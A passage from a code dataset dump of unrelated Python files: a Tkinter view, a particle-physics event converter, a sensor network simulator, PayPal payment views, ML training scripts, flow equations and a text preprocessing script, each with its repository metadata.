expected","sub_path":"tests/src/circuits/test_share.py","file_name":"test_share.py","file_ext":"py","file_size_in_byte":2704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"340949175","text":"from src.utils.tk import TKUtils\n\nfrom src.view.student.actions import Actions\nfrom src.view.student.list import StudentList\n\n\nclass Student(TKUtils.Container()):\n\n def __init__(self, master, controller, commands):\n super().__init__(master=master)\n self.pack(side='bottom')\n\n self.commands = commands\n self.__controller = controller\n\n self.actions = None\n self.student_list = None\n\n self._create_student_list()\n self._create_actions()\n\n def _create_student_list(self):\n commands = {}\n\n commands['raffle'] = self.commands['raffle']\n\n if not self.student_list:\n self.student_list = StudentList(master=self, commands=commands)\n\n def _create_actions(self):\n commands = {}\n\n commands['raffle'] = self.commands['raffle']\n commands['browse_file'] = self.__controller.browse_file_button\n\n self.actions = Actions(master=self, commands=commands)\n","sub_path":"src/view/student/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"164585479","text":"#!/usr/bin/python\nimport argparse\nfrom math import sqrt\n\ndef main():\n parser = argparse.ArgumentParser(description='Convert a HepEVT file from SuperCHIC.')\n parser.add_argument('input', help='input HepEVT file')\n parser.add_argument('--output', help='output event file', type=str)\n parser.add_argument('--xsect', help='process cross section', type=float)\n parser.add_argument('--xsect_err', help='error on the process cross section', type=float)\n args = parser.parse_args()\n\n output_file = args.output\n if not args.output:\n output_file = args.input.replace('.hepevt', '.evt')\n xsect = args.xsect\n if not args.xsect:\n xsect = 0.0\n xsect_err = args.xsect_err\n if not args.xsect_err:\n xsect_err = 0.0\n\n out = open(output_file, 'w')\n\n block = ''\n in_init = False\n in_event = False\n ini_info = {}\n for l in open(args.input):\n if '' in l:\n in_event = True\n block += l\n elif '' in l:\n in_event = False\n block += l\n block = convert_event_block(block, ini_info)\n out.write(block)\n block = ''\n elif in_init:\n l = l.split()\n if len(l)>4: #incoming particles' block\n in1_pdg, in2_pdg, in1_pz, in2_pz = l[0:4]\n ini_info = {'in1_pdg': in1_pdg, 'in1_pz': in1_pz,\n 'in2_pdg': in2_pdg, 'in2_pz': in2_pz}\n elif (xsect>0. or xsect_err>0.) and len(l)==4: #xsection/QCD/QED constants\n l[0] = '%.9E' % (xsect)\n l[1] = '%.9E' % (xsect_err)\n out.write('\\t'.join(l)+'\\n')\n elif in_event:\n block += l\n else:\n out.write(l)\n\n if '' in l:\n in_init = True\n elif '' in l:\n in_init = False\n\n\ndef convert_event_block(block, ini_info):\n out = ''\n npart = 0\n for l in block.split('\\n'):\n l = l.split()\n if len(l)==0: continue\n if len(l)>1 and len(l)<10: #in header\n l[0] = str(int(l[0])+2)\n out += ' '.join(l)+'\\n'\n part_mass = '0.000000000E+00'\n if int(ini_info['in1_pdg'])==2212: part1_mass = '0.938272046E+00'\n if int(ini_info['in2_pdg'])==2212: part2_mass = '0.938272046E+00'\n part1_ene = sqrt(float(ini_info['in1_pz'])**2+float(part1_mass)**2)\n part2_ene = sqrt(float(ini_info['in2_pz'])**2+float(part2_mass)**2)\n out += '\\t'.join([\n ini_info['in1_pdg'], '-1', '0', '0', '0', '0',\n '0.000000000E+00', '0.000000000E+00', ini_info['in1_pz'],\n '%.9E' % (part1_ene), part1_mass,\n '0.', '9.'])+'\\n'\n out += '\\t'.join([\n ini_info['in2_pdg'], '-1', '0', '0', '0', '0',\n '0.000000000E+00', '0.000000000E+00', '-'+ini_info['in2_pz'],\n '%.9E' % (part2_ene), part2_mass,\n '0.', '9.'])+'\\n'\n elif len(l)>2:\n if npart==0: #first outgoing proton\n l[2] = '1'\n elif npart==1: #second outgoing proton\n l[2] = '2'\n else:\n l[2] = str(int(l[2])+2)\n out += '\\t'.join(l)+'\\n'\n npart += 1\n else:\n out += '\\t'.join(l)+'\\n'\n return out\n\nif __name__=='__main__':\n main()\n","sub_path":"utils/superchic_converter_hepevt.py","file_name":"superchic_converter_hepevt.py","file_ext":"py","file_size_in_byte":3432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"615669595","text":"import csv\n\nfrom scipy.spatial import distance\n\nimport Simulator.parameter as para\nfrom network_method import uniform_com_func, to_string, count_package_function, network_partition\n\n\nclass Network:\n def __init__(self, list_node=None, mc_list=None, target=None, package_size=400, nb_charging_pos=81):\n self.node = list_node\n self.set_neighbor()\n self.set_level()\n self.mc_list = mc_list\n self.target = target\n self.charging_pos = []\n self.package_size = package_size\n self.nb_charging_pos = nb_charging_pos\n self.active = False\n self.package_lost = False\n\n def set_neighbor(self):\n for node in self.node:\n for other in self.node:\n if other.id != node.id and distance.euclidean(node.location, other.location) <= node.com_ran:\n node.neighbor.append(other.id)\n\n def set_level(self):\n queue = []\n for node in self.node:\n if distance.euclidean(node.location, para.base) < node.com_ran:\n node.level = 1\n queue.append(node.id)\n while queue:\n for neighbor_id in self.node[queue[0]].neighbor:\n if not self.node[neighbor_id].level:\n self.node[neighbor_id].level = self.node[queue[0]].level + 1\n queue.append(neighbor_id)\n queue.pop(0)\n\n def partition(self, func=network_partition):\n self.charging_pos = func(self)\n for mc in self.mc_list:\n mc.optimizer.update_charging_pos(self.charging_pos)\n self.active = True\n\n def communicate(self, func=uniform_com_func):\n return func(self)\n\n def run_per_second(self, t):\n state = self.communicate()\n request_id = []\n for index, node in enumerate(self.node):\n if node.energy < node.energy_thresh:\n for mc in self.mc_list:\n node.request(optimizer=mc.optimizer, t=t)\n request_id.append(index)\n else:\n node.is_request = False\n if request_id:\n for index, node in enumerate(self.node):\n if index not in request_id and (t - node.check_point[-1][\"time\"]) > 50:\n node.set_check_point(t)\n if self.active:\n for mc in self.mc_list:\n mc.run(network=self, time_stem=t, net=self)\n return state\n\n def simulate_max_time(self, max_time=2000000, file_name=\"log/information_log.csv\"):\n with open(file_name, \"w\") as information_log:\n writer = csv.DictWriter(information_log, fieldnames=[\"time\", \"nb_dead_node\", \"nb_package\"])\n writer.writeheader()\n nb_dead = 0\n nb_package = len(self.target)\n dead_time = 0\n t = 0\n while t <= max_time:\n t = t + 1\n if (t - 1) % 100 == 0:\n print(\"time = \", t, \", lowest energy node: \", self.node[self.find_min_node()].energy, \"at\",\n self.node[self.find_min_node()].location)\n print('\\tnumber of dead node: {}'.format(self.count_dead_node()))\n print('\\tnumber of package: {}'.format(self.count_package()))\n with open(file_name, 'a') as information_log:\n node_writer = csv.DictWriter(information_log, fieldnames=[\"time\", \"nb_dead_node\", \"nb_package\"])\n node_writer.writerow(\n {\"time\": t, \"nb_dead_node\": self.count_dead_node(), \"nb_package\": self.count_package()})\n for mc in self.mc_list:\n print(\"\\tMC#{} at{} is {}\".format(mc.id, mc.current, mc.get_status()))\n\n ######################################\n if t == 200:\n self.partition()\n ######################################\n\n state = self.run_per_second(t)\n current_dead = self.count_dead_node()\n current_package = self.count_package()\n if not self.package_lost:\n if current_package < len(self.target):\n self.package_lost = True\n dead_time = t\n if current_dead != nb_dead or current_package != nb_package:\n nb_dead = current_dead\n nb_package = current_package\n with open(file_name, 'a') as information_log:\n node_writer = csv.DictWriter(information_log, fieldnames=[\"time\", \"nb_dead_node\", \"nb_package\"])\n node_writer.writerow({\"time\": t, \"nb_dead_node\": current_dead, \"nb_package\": current_package})\n\n print('\\nFinished with {} dead sensors, {} packages'.format(self.count_dead_node(), self.count_package()))\n return dead_time, nb_dead\n\n def simulate(self, max_time=2000000, file_name='log/log.csv'):\n if max_time:\n life_time = self.simulate_max_time(max_time=max_time, file_name=file_name)\n else:\n life_time = self.simulate_lifetime(file_name=file_name)\n return life_time\n\n def print_net(self, func=to_string):\n func(self)\n\n def find_min_node(self):\n min_energy = 10 ** 10\n min_id = -1\n for node in self.node:\n if node.energy < min_energy:\n min_energy = node.energy\n min_id = node.id\n return min_id\n\n def count_dead_node(self):\n count = 0\n for node in self.node:\n if node.energy <= 0:\n count += 1\n return count\n\n def count_package(self, count_func=count_package_function):\n count = count_func(self)\n return count\n\n ##############################################################################################\n def simulate_lifetime(self, file_name=\"log/energy_log.csv\"):\n energy_log = open(file_name, \"w\")\n node_log = open('log/dead_node.csv', 'w')\n writer = csv.DictWriter(energy_log, fieldnames=[\"time\", \"mc energy\", \"min energy\"])\n writer.writeheader()\n node_writer = csv.DictWriter(node_log, fieldnames=['time', 'dead_node'])\n node_writer.writeheader()\n node_log.close()\n t = 0\n while t <= 2000000:\n t = t + 1\n if (t - 1) % 100 == 0:\n node_log = open('log/dead_node.csv', 'a')\n node_writer = csv.DictWriter(node_log, fieldnames=['time', 'dead_node'])\n node_writer.writerow({\"time\": t, \"dead_node\": self.count_dead_node()})\n node_log.close()\n print('number of dead node: {}'.format(self.count_dead_node()))\n print(\"time = \", t, \", lowest energy node: \", self.node[self.find_min_node()].energy, \"at\",\n self.node[self.find_min_node()].location)\n for mc in self.mc_list:\n print(\"\\tMC#{} at{} is {}\".format(mc.id, mc.current, mc.get_status()))\n state = self.run_per_second(t)\n if not (t - 1) % 50:\n for mc in self.mc_list:\n writer.writerow(\n {\"time\": t, \"mc energy\": mc.energy, \"min energy\": self.node[self.find_min_node()].energy})\n\n print(t, self.node[self.find_min_node()].energy)\n for mc in self.mc_list:\n print(\"\\tMC#{} at{}\".format(mc.id, mc.current))\n writer.writerow({\"time\": t, \"mc energy\": mc.energy, \"min energy\": self.node[self.find_min_node()].energy})\n energy_log.close()\n return t\n","sub_path":"Simulator/Network/network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":7479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"171730204","text":"from rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom rest_framework.status import HTTP_201_CREATED\nfrom rest_framework.exceptions import ValidationError\nfrom modules.Entities.Payment.Payment import Payment\nfrom modules.Domain.Services.PayPalService import PayPalService\nfrom modules.Application.PluginAdaptor.PayPal.PayPalPluginAdaptor import PayPalPluginAdaptor\n\n\n@api_view(['POST'])\ndef payment_create(request):\n if 'first_name' not in request.data.keys():\n raise ValidationError('First name is missing')\n if 'last_name' not in request.data.keys():\n raise ValidationError('Last name is missing')\n payment = Payment(request.data)\n adaptor = PayPalPluginAdaptor(request.data, payment)\n service = PayPalService(adaptor)\n service.pay()\n return Response(payment.to_string(), status=HTTP_201_CREATED)\n\n\n@api_view(['POST'])\ndef payment_capture(request):\n payment = Payment(request.data)\n adaptor = PayPalPluginAdaptor(request.data, payment)\n service = PayPalService(adaptor)\n service.update()\n return Response(payment.to_string(), status=HTTP_201_CREATED)\n\n\n@api_view(['POST'])\ndef payment_status(request):\n payment = Payment(request.data)\n adaptor = PayPalPluginAdaptor(request.data, payment)\n service = PayPalService(adaptor)\n service.status()\n return Response(payment.to_string(), status=HTTP_201_CREATED)\n","sub_path":"webapps/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"281410296","text":"from imports import *\r\n\r\ndef promo(request):\r\n if request.session.get('ismanagerloggedin', False):\r\n data['username']=request.session.get(\"username\")\r\n template = loader.get_template('manager_promo.html')\r\n context = {\r\n 'data': data\r\n }\r\n return HttpResponse(template.render(context, request))\r\n else:\r\n return HttpResponseRedirect(\"login\")","sub_path":"manager/views/promo.py","file_name":"promo.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"551077394","text":"\"\"\"\r\nИмя проекта: practicum-1\r\nНомер версии: 1.0\r\nИмя файла: 60.py\r\nАвтор: 2020 © Д.П. Юткина, Челябинск\r\nЛицензия использования: CC BY-NC 4.0 (https://creativecommons.org/licenses/by-nc/4.0/deed.ru)\r\nДата создания: 10/12/2020\r\nДата последней модификации: 10/12/2020\r\nОписание: Решение задачи 60 практикума № 1\r\n#версия Python: 3.8\r\n\"\"\"\r\n\r\n\"\"\"\r\nЗаданы M строк, которые вводятся с клавиатуры.\r\nКаждая строка представляет собой последовательность символов, включающих в себя\r\nвопросительные знаки. Заменить в каждой строке все имеющиеся вопросительные знаки\r\nзвёздочками.\r\n\"\"\"\r\nimport re\r\nM = int(input(\"Введите количество строк: \"))\r\nx = []\r\nfor i in range(0, M):\r\n print(\"Введите строку:\", end=' ')\r\n x.append(input())\r\nfor y in x:\r\n y = re.sub(r'\\?', '*', y)\r\n print(y)\r\n","sub_path":"60.py","file_name":"60.py","file_ext":"py","file_size_in_byte":1157,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"389008219","text":"import time\nimport cv2\nimport numpy as np\nimport chainer\nimport glob\nimport os\nimport renom as rm\nfrom renom.cuda.cuda import set_cuda_active, cuGetDeviceCount, cuDeviceSynchronize\nfrom renom import cuda\nfrom renom.utility.trainer import Trainer\nfrom renom.utility.distributor import NdarrayDistributor\nfrom darknet19 import *\nfrom lib.image_generator import *\n\nset_cuda_active(True)\n\n# hyper parameters\ninput_height, input_width = (448, 448)\nitem_path = \"./items\"\nbackground_path = \"./backgrounds\"\n# label_file = \"./data/label.txt\"\nbackup_path = \"./backup\"\nbatch_size = 8\nmax_batches = 3000\nlearning_rate = 0.05\nlr_decay_power = 4\nmomentum = 0.9\nweight_decay = 0.0005\nclasses = 10\nnum_gpu = cuGetDeviceCount()\n\n# load image generator\nprint(\"loading image generator...\")\ngenerator = ImageGenerator(item_path, background_path)\n\n# with open(label_file, \"r\") as f:\n# labels = f.read().strip().split(\"\\n\")\n\n# load model\nprint(\"loading model...\")\nmodel = Darknet19(classes)\nbackup_file = \"%s/backup.h5\" % (backup_path)\nif os.path.isfile(backup_file):\n model.load(backup_file)\n#cuda.get_device(0).use()\n#model.to_gpu() # for gpu\n\ntrainer = Trainer(model,\n batch_size=batch_size,\n loss_func=rm.mean_squared_error,\n num_epoch=1,\n optimizer=rm.Sgd(lr=learning_rate, momentum=momentum), num_gpu=num_gpu)\n\n\n# start to train\nprint(\"start training\")\nfor batch in range(max_batches):\n # generate sample\n x, t = generator.generate_samples(\n n_samples=batch_size,\n n_items=1,\n crop_width=input_width,\n crop_height=input_height,\n min_item_scale=0.1,\n max_item_scale=0.2,\n rand_angle=25,\n minimum_crop=0.8,\n delta_hue=0.01,\n delta_sat_scale=0.5,\n delta_val_scale=0.5\n )\n #x = rm.Variable(x)\n one_hot_t = []\n for i in range(len(t)):\n one_hot_t.append(t[i][0][\"one_hot_label\"])\n #x.to_gpu()\n one_hot_t = np.array(one_hot_t, dtype=np.float32)\n #one_hot_t = rm.Variable(one_hot_t)\n #one_hot_t.to_gpu()\n trainer.train(train_distributor=NdarrayDistributor(x, one_hot_t))\n # with model.train():\n # output = model(x)\n # loss = rm.softmax_cross_entropy(output, one_hot_t)\n\n #loss.to_cpu()\n\n # grad = loss.grad()\n # grad.update(opt)\n # print(\"[batch %d (%d images)] loss: %f\" % (batch+1, (batch+1) * batch_size, loss))\n\n trainer.optimizer = rm.Sgd(lr=learning_rate * (1 - batch / max_batches) ** lr_decay_power, momentum=momentum) # Polynomial decay learning rate\n\n # save model\n if (batch+1) % 1000 == 0:\n model_file = \"%s/%s.h5\" % (backup_path, batch+1)\n print(\"saving model to %s\" % (model_file))\n model.save(model_file)\n model.save(backup_file)\n\nprint(\"saving model to %s/darknet19_448_final.h5\" % (backup_path))\nmodel.save(\"%s/darknet19_448_final.h5\" % (backup_path))\n","sub_path":"darknet19_448_train.py","file_name":"darknet19_448_train.py","file_ext":"py","file_size_in_byte":2903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"275549876","text":"# All isentropic flow equations are defined in this module\n\nfrom math import sqrt\nimport pprint\n\n\ndef run_isentropic_funcs(study_blocks):\n ''' Is called by a flow study object. '''\n # sub_blocks = [block for block in study_blocks]\n pp = pprint.PrettyPrinter(indent=4)\n # calculate the defaults first so calculate_values\n # can use the values from blocks that take in default\n default_vals = calculate_defaults(study_blocks)\n results = calculate_results(study_blocks, default_vals)\n pp.pprint(results)\n\n\ndef calculate_defaults(block):\n ''' Calculate defaults first so blocks that take in other blocks don't\n result in errors. '''\n default_dict = {}\n mach = block.fluid_props['mach']\n gamma = block.fluid_props['gamma']\n for key, value in block.parameters.items():\n if value['input'] == 'default':\n out_val = value['output'] # pressure, temp, density?\n out_type = value['out_type'] # ratio or value?\n stag_val = block.fluid_props[out_type]\n result = mach_map[out_val](mach, gamma, out_type, stag_val)\n default_dict[key] = result\n return default_dict\n\n\ndef calculate_results(block, results_dict):\n ''' Calculate the results for the rest of the blocks. '''\n results_dict = {}\n fluid_props = block.parameters\n gamma = fluid_props['gamma']\n for key, value in block.parameters.items():\n if value['input'] != 'default':\n out_val = value['output'] # pressure, temp, density?\n out_type = value['out_type'] # ratio or value?\n input_val = results_dict[key]\n stag_val = fluid_props[out_val]\n result = master_dispatch[out_val](\n stag_val, input_val, out_type, gamma)\n results_dict[key] = result\n return results_dict\n\n\ndef sonic_speed(gamma, gasConst, temp):\n return sqrt(gamma * gasConst * temp)\n\n\ndef pressure_ratio(mach, gamma, out_type, stag_val):\n base = (1 + 0.5 * (gamma - 1) * (mach ** 2))\n if out_type == 'ratio':\n return base ** -(gamma / (gamma - 1))\n elif out_type == 'value':\n return stag_val * (base ** -(gamma / (gamma - 1)))\n\n\ndef temp_ratio(mach, gamma, out_type, stag_val):\n base = (1 + 0.5 * (gamma - 1) * (mach ** 2))\n if out_type == 'ratio':\n return base ** -1\n elif out_type == 'value':\n return stag_val * (base ** -1)\n\n\ndef density_ratio(mach, gamma, out_type, stag_val):\n base = (1 + 0.5 * (gamma - 1) * (mach ** 2))\n if out_type == 'ratio':\n return base ** -(1 / (gamma - 1))\n elif out_type == 'value':\n return stag_val * (base ** -(1 / (gamma - 1)))\n\n\n# The functions below return the downstream value itself rather than a ratio\n\n\ndef press_from_dens(stag_press, inp, input_type, gamma):\n ''' Return pressure given density. '''\n if input_type == 'ratio':\n return inp ** gamma\n elif input_type == 'value':\n return stag_press * (inp ** gamma)\n\n\ndef press_from_temp(stag_press, inp, input_type, gamma):\n ''' Return pressure given temperature. '''\n if input_type == 'ratio':\n return inp ** (gamma / (gamma - 1))\n elif input_type == 'value':\n return stag_press * (inp ** (gamma / (gamma - 1)))\n\n\ndef dens_from_press(stag_density, inp, input_type, gamma):\n ''' Return density given pressure. '''\n if input_type == 'ratio':\n return inp ** (1 / gamma)\n elif input_type == 'value':\n return stag_density * (inp ** (1 / gamma))\n\n\ndef dens_from_temp(stag_density, inp, input_type, gamma):\n ''' Return density given pressure. '''\n if input_type == 'ratio':\n return inp ** (1 / (gamma - 1))\n elif input_type == 'value':\n return stag_density * (inp ** (1 / (gamma - 1)))\n\n\ndef temp_from_pressure(stag_temp, inp, input_type, gamma):\n ''' Return temperature given pressure. '''\n if input_type == 'ratio':\n return inp ** ((gamma - 1) / gamma)\n elif input_type == 'value':\n return stag_temp * (inp ** ((gamma - 1) / gamma))\n\n\ndef temp_from_dens(stag_temp, inp, input_type, gamma):\n ''' Return temperature given density. '''\n if input_type == 'ratio':\n return inp ** (gamma - 1)\n elif input_type == 'value':\n return stag_temp * (inp ** (gamma - 1))\n\n\n# Dictionary map of functions that take mach as a parameter\nmach_map = {\n 'pressure': pressure_ratio,\n 'density': density_ratio,\n 'temperature': temp_ratio\n}\n\n# Functions that take pressure as a parameter\npress_map = {\n 'density': press_from_dens,\n 'temperature': press_from_temp\n}\n\n# Functions that take temperature\ntemp_map = {\n 'pressure': temp_from_pressure,\n 'density': temp_from_dens\n}\n\n# Functions that take density\ndens_map = {\n 'pressure': dens_from_press,\n 'temperature': dens_from_temp\n}\n\n# master_dispatch organizes the function dictionaries according to\n# the input specified in the study file, from there the output\n# parameter can be passed into the functions in the dictionaries\n# input: output value\nmaster_dispatch = {\n 'mach': mach_map,\n 'pressure': press_map,\n 'temperature': temp_map,\n 'density': dens_map\n}\n","sub_path":"flow/isentropic.py","file_name":"isentropic.py","file_ext":"py","file_size_in_byte":5137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"299317580","text":"\"\"\"\n Import Module\n\"\"\"\n\nimport os\nfrom joblib import load, dump\nfrom sklearn.ensemble import RandomForestRegressor\nfrom src.Model import Model\nfrom sklearn.model_selection import GridSearchCV\n\n\nclass RandomForest(Model):\n \"\"\"\n RandomForest model class\n \"\"\"\n algorithm = 'RandomForest'\n\n # Default Tuning parameters\n default_parameters = {'n_estimators': [100],\n 'criterion': ['mse', 'mae'],\n 'max_depth': [None],\n 'min_samples_split': [2],\n 'min_samples_leaf': [1],\n 'min_weight_fraction_leaf': [0.],\n 'max_features': [None, 'auto', 'sqrt', 'log2'],\n 'max_leaf_nodes': [None],\n 'min_impurity_decrease': [0.],\n 'bootstrap': [True, False],\n 'oob_score': [True, False],\n 'n_jobs': [None],\n 'random_state': [None],\n 'verbose': [0],\n 'warm_start': [True, False],\n 'class_weight': ['balanced'],\n 'ccp_alpha': [0.0],\n 'max_samples': [None]\n }\n\n # Tuning parameters\n tuning_parameters = {}\n\n def __init__(self, grid_search=False, filename='personality.csv'):\n \"\"\"\n RandomForest class constructor\n\n @param grid_search: indicates whether classifier should be created\n with the grid search classifier\n \"\"\"\n super().__init__(self.get_classifier(grid_search), self.algorithm, filename, False)\n\n def get_classifier(self, grid_search):\n \"\"\"\n Function responsible for getting the model\n classifier. If already created it loads it from\n the respective file otherwise creates it.\n \"\"\"\n self.grid_search = grid_search\n\n if grid_search:\n if os.path.isfile('joblib/regression/GridSearchCV_' + self.algorithm + '.joblib'):\n clf = load('joblib/regression/GridSearchCV_' + self.algorithm + '.joblib')\n else:\n clf = GridSearchCV(RandomForestRegressor(), self.tuning_parameters)\n dump(clf, 'joblib/regression/GridSearchCV_' + self.algorithm + '.joblib')\n else:\n if os.path.isfile('joblib/regression/' + self.algorithm + '.joblib'):\n clf = load('joblib/regression/' + self.algorithm + '.joblib')\n else:\n clf = RandomForestRegressor()\n\n return clf\n\n def get_algorithm(self):\n \"\"\"\n Function responsible for retrieving the\n algorithm name\n @return: algorithm name\n \"\"\"\n return self.algorithm\n\n def get_algorithm_gs_param(self):\n \"\"\"\n Function responsible for retrieving the grid\n search parameters\n @return: grid search parameters\n \"\"\"\n return self.tuning_parameters\n\n def get_best_param(self):\n \"\"\"\n Function responsible for showing the best\n parameters for this specific algorithm\n @return:\n \"\"\"\n if self.grid_search:\n value = \"Best parameters for \" + self.algorithm + \" algorithm:\\n\"\n for param_name in self.tuning_parameters:\n value = value + param_name + \": \" + str(self.clf.best_params_[param_name]) + '\\n'\n\n return value\n","sub_path":"Second-Project/src/Regression/RandomForest.py","file_name":"RandomForest.py","file_ext":"py","file_size_in_byte":3505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"373397248","text":"# -*- coding: utf-8 -*- \r\n#%reset -f\r\n\"\"\"\r\n@author: Hiromasa Kaneko\r\n\"\"\"\r\n\r\n# Demonstration of GTM\r\n\r\n# settings\r\nshapeofmap = [10, 10]\r\nshapeofrbfcenters = [5, 5]\r\nvarianceofrbfs = 4\r\nlambdainemalgorithm = 0.001\r\nnumberofiterations = 300\r\ndesplayflag = 1\r\n\r\nfrom sklearn.datasets import load_iris\r\nfrom gtm import gtm\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.figure as figure\r\n\r\n# load an iris dataset\r\niris = load_iris()\r\n#inputdataset = pd.DataFrame(iris.data, columns=iris.feature_names)\r\ninputdataset = iris.data\r\ncolor = iris.target\r\n\r\n# autoscaling\r\ninputdataset = (inputdataset - inputdataset.mean(axis=0)) / inputdataset.std(axis=0,ddof=1)\r\n\r\n# construct GTM model\r\nmodel = gtm( shapeofmap, shapeofrbfcenters, varianceofrbfs, lambdainemalgorithm, numberofiterations, desplayflag)\r\nmodel.fit(inputdataset)\r\n\r\nif model.successflag:\r\n # calculate of responsibilities\r\n responsibilities = model.responsibility(inputdataset)\r\n \r\n # plot the mean of responsibilities\r\n means = responsibilities.dot( model.mapgrids )\r\n plt.figure(figsize=figure.figaspect(1))\r\n plt.scatter( means[:,0], means[:,1], c=color)\r\n plt.ylim(-1.1,1.1)\r\n plt.xlim(-1.1,1.1)\r\n plt.xlabel(\"z1 (mean)\")\r\n plt.ylabel(\"z2 (mean)\")\r\n plt.show()\r\n \r\n # plot the mode of responsibilities\r\n modes = model.mapgrids[responsibilities.argmax(axis=1), :]\r\n plt.figure(figsize=figure.figaspect(1))\r\n plt.scatter( modes[:,0], modes[:,1], c=color)\r\n plt.ylim(-1.1,1.1)\r\n plt.xlim(-1.1,1.1)\r\n plt.xlabel(\"z1 (mode)\")\r\n plt.ylabel(\"z2 (mode)\")\r\n plt.show()\r\n","sub_path":"Python/demo_gtm.py","file_name":"demo_gtm.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"384041832","text":"def dec_bic(n):\n res=0\n exp=0\n while n>0:\n if (n%10)==1 or (n%10)==0:\n res=res+((n%10)*(10**exp))\n exp=exp+1\n n=n/10\n return res\n\ndef contador(n):\n res=0\n db=dec_bic(n)\n while db>0:\n res=res+1\n db=db/10\n return res\n\ndef finalizar(n):\n res=0\n exp=contador(n)-1\n db=dec_bic(n)\n while db>0:\n if db!=0:\n res=res+((db%10)*(10**exp))\n exp=exp-1\n db=db/10\n\n return res\n","sub_path":"PYTHON/desencripta sistema base binario.py","file_name":"desencripta sistema base binario.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"287358513","text":"from pathlib import Path\n\n__all__ = ['task_jshat_app',\n 'task_jshat_app_watch']\n\n\nbuild_dir = Path('build/jshat/app')\n\n\ndef task_jshat_app():\n \"\"\"JsHat application - build all\"\"\"\n return {'actions': ['yarn run --silent build '\n '--config webpack.app.config.js'],\n 'task_dep': ['jshat_deps']}\n\n\ndef task_jshat_app_watch():\n \"\"\"JsHat application - build all on change\"\"\"\n return {'actions': ['yarn run --silent watch '\n '--config webpack.app.config.js'],\n 'task_dep': ['jshat_deps']}\n\n\n# def task_jshat_analyze():\n# \"\"\"JsHat - profile and analyze build\"\"\"\n# def analyze(args):\n# for name in args:\n# subprocess.run(['yarn', 'run', '--silent', 'analyze',\n# str(build_dir / f'{name}/{name}.js'),\n# str(build_dir / f'{name}/{name}.js.map')],\n# check=True)\n# return {'actions': [analyze],\n# 'pos_arg': 'args',\n# 'task_dep': ['jshat']}\n","sub_path":"src_py/hat/doit/hat_core/jshat/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"135313435","text":"######################\r\n#!/usr/bin/python\r\n# -*- coding: utf-8 -*-\r\n# By Galo\r\n######################\r\nimport os\r\nimport nltk\r\nfrom nltk.corpus import wordnet\r\nfrom nltk.stem import WordNetLemmatizer #词性还原\r\nfrom nltk.tokenize import sent_tokenize #分句\r\nfrom nltk.tokenize import word_tokenize #分词\r\nfrom nltk.corpus import stopwords #去停用词\r\nfrom nltk.stem import SnowballStemmer #词干提取\r\nfrom sklearn.feature_extraction.text import TfidfVectorizer #TFIDF\r\nimport chardet #检测编码格式\r\nimport re #匹配去标点符号，特殊字符\r\n\r\n#nltk.download() #下载nltk的语料库\r\ncachedStopWords = stopwords.words(\"english\") #选用英文停用词词典\r\n\r\n\r\ndef read_files(path):\r\n # 读取语料文件夹下所有文件内容（此处为二进制文件）\r\n # 所有文件内文本组合成一个string存入all_text\r\n files= os.listdir(path) # 得到文件夹下的所有文件名称\r\n all_text = \"\"\r\n for file in files: # 遍历文件夹\r\n if not os.path.isdir(file): # 判断是否是文件夹，不是文件夹才打开\r\n with open(path+\"/\"+file, \"rb\") as f: # 二进制格式文件参数为rb\r\n text = f.read()\r\n encode_type = chardet.detect(text) # 检测编码格式\r\n if encode_type['encoding'] != None: # 排除不能解码的情况\r\n text = text.decode(encode_type['encoding']) # 进行相应解码，赋给原标识符（变量）\r\n print(file,'done.') # 标识文件读取完毕\r\n all_text = all_text + text\r\n return all_text\r\n\r\n\r\n'''\r\n#这一部分先分句后分词，后来实测没啥用好像，因为数据结构变复杂，所以舍弃了\r\n\r\nsentences = sent_tokenize(atheism)\r\n#分句,将文本拆分成句子级别\r\nwith open('C:\\\\Users\\\\Administrator\\\\Desktop\\\\Preprocessing\\\\sentences_atheism_sent_tokenize.txt', 'w',encoding='utf-8') as f:\r\n for sentence in sentences:\r\n f.write(str(sentence))\r\nprint('Sentences written.')\r\n\r\nwords = []\r\nfor sentence in sentences:\r\n sentence = re.sub(\"[+:\\.\\!\\/_,$%^*(+\\\"\\'<>]+|[+——！，。？、~@#￥%……&*（）]+\", \" \", sentence)\r\n #去标点\r\n words.append(word_tokenize(sentence))\r\n #分词，对句子进行分词，tokenize的分词是句子级别的，需要对文本先进行分句，否则效果会很差？？？没看出效果有差啊\r\nwith open('C:\\\\Users\\\\Administrator\\\\Desktop\\\\Preprocessing\\\\words_atheism_word_tokenize.txt', 'w',encoding='utf-8') as f:\r\n for word in words:\r\n f.write(str(word))\r\nprint('Words written.')\r\n\r\nwordStoped = []\r\nfor word in words: #去停用词\r\n filtered = [w.lower() for w in word if (w.lower() not in cachedStopWords and len(w) > 2)]\r\n #去停用词+去长度小于3的单词+小写化\r\n wordStoped.append(filtered)\r\nwith 